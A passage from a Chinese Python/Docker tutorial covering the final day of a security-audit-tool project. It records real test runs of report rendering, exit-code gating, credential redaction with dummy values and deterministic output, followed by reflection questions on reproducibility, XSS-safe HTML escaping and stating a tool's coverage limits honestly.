return (SEVERITY_ORDER[self.severity], -self.risk, self.target, self.rule_id)
末位 rule_id 看似多余,实际是防"前三维相等时退化成输入顺序"的保险丝。
(3)空值也要显式渲染
else:
lines.append("**证据**:(无证据,属建议项)")
不能因为证据为空就跳过这一行:跳过之后读者会以为"渲染器漏了",
而写明白才能传递"这条本来就是建议,不是发现"。
7. 真机实测验证(不是示例输出,是跑出来的)
本课所有代码与容器配置都在本机(Linux / Python 3.12 / Docker)实际执行过。
以下记录原始结果,包括一次真实的翻车。
7.1 构建
Step 18/18 : CMD ["--input", "/data/findings.json", "--format", "all", "--out-dir", "/out"]
Successfully built 8f47278aa60d
Successfully tagged audit-toolbox:1.0
build_exit=0
7.2 镜像体积(分层收益)
python:3.12-slim(基础) 179 MB
audit-toolbox:1.0(我们的) 194 MB ← 只多出约 15 MB
7.3 翻车记录:非 root + 绑定挂载 = EACCES
📄 报告:安全审计报告
摘要 :findings=7 critical=1 high=3 medium=1 low=1 info=1 risk=105 gaps=4
时间戳:2026-09-24T06:00:00+08:00
❌ 写盘失败:[Errno 13] Permission denied: '/out/day165-docker.md'
exit=3
排查(两句命令):
docker run --rm --entrypoint id audit-toolbox:1.0
# → uid=10001(app) gid=10001(app) groups=10001(app)
ls -ld out/
# → drwxr-xr-x root root ← 10001 写不进去
修复后(chown 10001:10001 out)四个格式全部写出,退出码 0。
详细的三重根因与三种修法见 3.8 节。这次翻车完整验证了退出码 3 的设计价值。
7.4 门禁在容器里的退出码透传
docker run … audit-toolbox:1.0 --input /data/findings.json --format json \
--fail-on high --generated-at fixed --allow-coverage-gaps
exit=1 # ← 与本地运行完全一致
这一条是 exec 形式 ENTRYPOINT 的直接证据。
如果换成 shell 形式(ENTRYPOINT python …),退出码会被 /bin/sh 包一层,
CI 里的门禁就不再可靠。
7.5 脱敏实测(含一次修复)
'Authorization: Bearer abcdefgh12345' -> 'Authorization: <REDACTED>'
'password=abc123; token=xyz987' -> 'password=<REDACTED>; token=<REDACTED>'
'http://alice:qwerty9876@example.com/x' -> 'http://<REDACTED>:<REDACTED>@example.com/x'
Cookie: sid=deadbeef; theme=dark -> 'Cookie: <REDACTED>'
每条都验证了幂等(二次脱敏与一次相同)。
第一版规则写成 \S+ 时,Authorization: Bearer zzz 会被擦成
Authorization: <REDACTED> zzz——令牌尾巴漏出去了。
改成吃到行尾([^\r\n]+)才修好。这就是 5.6 节铁律第 3 条的来历。
7.6 确定性实测
两次渲染是否字节一致:True
顺序 A:['R-SQLI', 'R-CLEARTEXT', 'R-OPEN-PORT']
顺序 B:['R-SQLI', 'R-CLEARTEXT', 'R-OPEN-PORT'] ← 输入完全反序,输出相同
已修复(old - new):['fd50b189af15']
新增 (new - old):[]
7.7 脱敏顺序实测(误报实证)
[正确顺序] 凭证复用命中:(无) ← 两个不同口令,不误报
[错误顺序] 指纹:['sha256:70de1811/len=25', 'sha256:70de1811/len=25']
[错误顺序] 凭证复用命中:{'…': {'bob', 'alice'}} ← 两个不同口令被擦成同一个 → 误报
这一条比任何文字论证都有说服力:过度脱敏会制造误报,
而误报比漏报更容易骗过只看告警数量的人。
7.8 一个诚实的遗留项
out/ 与 tools/ 已在 .gitignore 中:前者是运行产物(可随时重生成),
后者含本地进度数据。所以本课提交的是可重跑的代码与配置,
而不是产物快照。这也符合 2.5 节的原则:
应该提交的是"能生产",而不是"生产出来的那一份"(后者只有确定性地生成才有意义)。
8. 思考题
每道题都请写出理由,不要只写结论。
思考 1:为什么报告层不能用 datetime.now()?
请顺着链条推:不确定的时间戳 → 报告每吹不同 → git diff 失效 → …… →
最后会影响哪一个业务能力?(提示:从“回归对比”推到“审计结论能不能被复核”。)
参考方向:报告一旦不可复现,别人就无法验证你的结论,
审计就从“可复核的证据”退化成“一张截图”。
思考 2:如果两个不同的问题碰巧有相同的 (target, rule_id, severity),会怎样?
本课的 id 只由这三个字段组成。请找出一个真实场景能造成这种碰撞,
并给出一个修法(同时保住“改文案不换 id”这个优点)。
参考方向:同一 URL 上同一规则命中两次(例如两个不同参数都触发了 XSS)。
修法:把“定位到具体位置”的信息(参数名/行号)加进 id,
但保持title/reason不入哈希。
思考 3:HTML 渲染为什么必须 html.escape()?举一个具体攻击路径
本题是安全的重点。请完整写出:
(a)被审计目标返回了什么;(b)报告怎么把它带进去;
(c)谁会被成功攻击;(d)多了一层什么防护就能阻断。
参考方向:见 3.6 节。关键认识是:审计工具处理的是不可信输入。
一个功能正常的“报告预览”界面就足以把存储型 XSS 送到审计员浏览器里。
思考 4:为什么退出码 4(覆盖缺口)不能和 0(通过)合并?
请从“行动项”角度回答,而不是从“返回值”角度。
如果一个 CI 流水线把 4 当成 0 处理,长期会发生什么?
参考方向:把“没测到”当成“没问题”,于是“什么都测不到”的配置
会看起来永远绿灯。这是审计工具最危险的失败模式。
思考 5:门禁用原始 severity,排序用风险分——为什么不统一成一套?
如果你强行把两者统一(比如门禁也乘置信度系数),会出现什么后果?
请举出一个具体的“不该放过但会被放过”的例子。
参考方向:见 6.3 节。低置信度 high 在风险分里是 7(比 medium 还低),
如果门禁用风险分,那么“证据不完美的高危”就会被合法放过。
门禁与排序回答的是两个不同问题:能不能放过 vs 先看哪个。
9. 收官:四天项目的一句话总结
Day 162 资产面 → 有哪些东西存在
Day 163 漏洞面 → 它们有什么弱点
Day 164 流量面 → 网络上实际发生了什么(且秘密不落盘)
Day 165 产出面 → 变成可交付、可复核、可门禁的证据链
如果现在有人问你“你这个工具能保证我的系统安全吗?”,
诚实的回答包含三件事:不能保证(只覆盖测过的范围)、
覆盖缺口在哪(主动说出盲区)、结论有边界(未发现 ≠ 没有)。
一个声称“保证安全”的安全工具,要么在说谎,要么在把责任转移给使用者。
一个诚实的工具的标配,是把自己的边界说清楚。
这句话是这四天里比任何一行代码都重要的东西。
下一天:Day 166 — 系统监控(psutil)。
从“审计别人的系统”转向“保护自己的系统”:
CPU / 内存 / 磁盘 / 网络监控、进程管理、系统信息采集,以及一个可用的监控脚本。